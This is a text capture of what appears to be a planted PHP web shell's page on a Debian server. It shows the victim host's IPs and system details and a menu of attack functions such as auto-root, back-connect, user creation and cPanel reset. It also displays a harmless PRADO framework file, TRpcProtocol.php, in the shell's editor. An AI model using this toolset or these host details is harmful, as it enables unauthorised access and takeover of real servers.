Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.137.200.45
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
Services /
[ HOME SHELL ]
Name
Size
Permission
Action
IFeedContentProvider.php
1.32
KB
-rw-r--r--
TFeedService.php
4.33
KB
-rw-r--r--
TJsonResponse.php
1.19
KB
-rw-r--r--
TJsonRpcProtocol.php
4.42
KB
-rw-r--r--
TJsonService.php
4.66
KB
-rw-r--r--
TPageConfiguration.php
12.35
KB
-rw-r--r--
TPageService.php
19.1
KB
-rw-r--r--
TRpcApiProvider.php
2.34
KB
-rw-r--r--
TRpcException.php
640
B
-rw-r--r--
TRpcProtocol.php
2.61
KB
-rw-r--r--
TRpcServer.php
1.72
KB
-rw-r--r--
TRpcService.php
6.21
KB
-rw-r--r--
TSoapServer.php
8.4
KB
-rw-r--r--
TSoapService.php
9.04
KB
-rw-r--r--
TXmlRpcProtocol.php
2.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TRpcProtocol.php
<?php /** * @author Robin J. Rogge <rrogge@bigpoint.net> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE * @since 3.2 */ namespace Prado\Web\Services; /** * TRpcProtocol class * * TRpcProtocol is the base class used to implement a protocol in a {@link TRpcService}. * Prado already implements two protocols: {@link TXmlRpcProtocol} for Xml-Rpc request * and {@link TJsonRpcProtocol} for JSON-Rpc requests. * * @author Robin J. Rogge <rrogge@bigpoint.net> * @since 3.2 **/ abstract class TRpcProtocol { /** * @var array containing the mapping from RPC method names to the actual handlers */ protected $rpcMethods = []; // abstracts /** * @param string $requestPayload request payload * Processed the request ans returns the response, if any * @return string processed response * @abstract */ abstract public function callMethod($requestPayload); /** * @param TRpcException $exception the exception with error details * Creates a proper response for an error condition * @return string a response representing the error * @abstract */ abstract public function createErrorResponse(TRpcException $exception); /** * @param \Prado\Web\THttpResponse $response * Sets the needed headers for the response (eg: content-type, charset) * @abstract */ abstract public function createResponseHeaders($response); /** * Encodes the response * @param mixed $data reponse data * @return string encoded response * @abstract */ abstract public function encode($data); /** * Decodes the request payload * @param string $data request payload * @return mixed decoded request * @abstract */ abstract public function decode($data); // methods /** * Registers a new RPC method and handler details * @param string $methodName * @param array $handlerDetails containing the callback handler */ public function addMethod($methodName, $handlerDetails) { $this->rpcMethods[$methodName] = $handlerDetails; } /** * Calls the callback handler for the given method * @param string $methodName of the RPC * @param array $parameters for the callback handler as provided by the client * @return mixed whatever the callback handler returns */ public function callApiMethod($methodName, $parameters) { if (!isset($this->rpcMethods[$methodName])) { throw new TRpcException('Method "' . $methodName . '" not found'); } if ($parameters === null) { $parameters = []; } if (!is_array($parameters)) { $parameters = [$parameters]; } return call_user_func_array($this->rpcMethods[$methodName]['method'], $parameters); } }
Close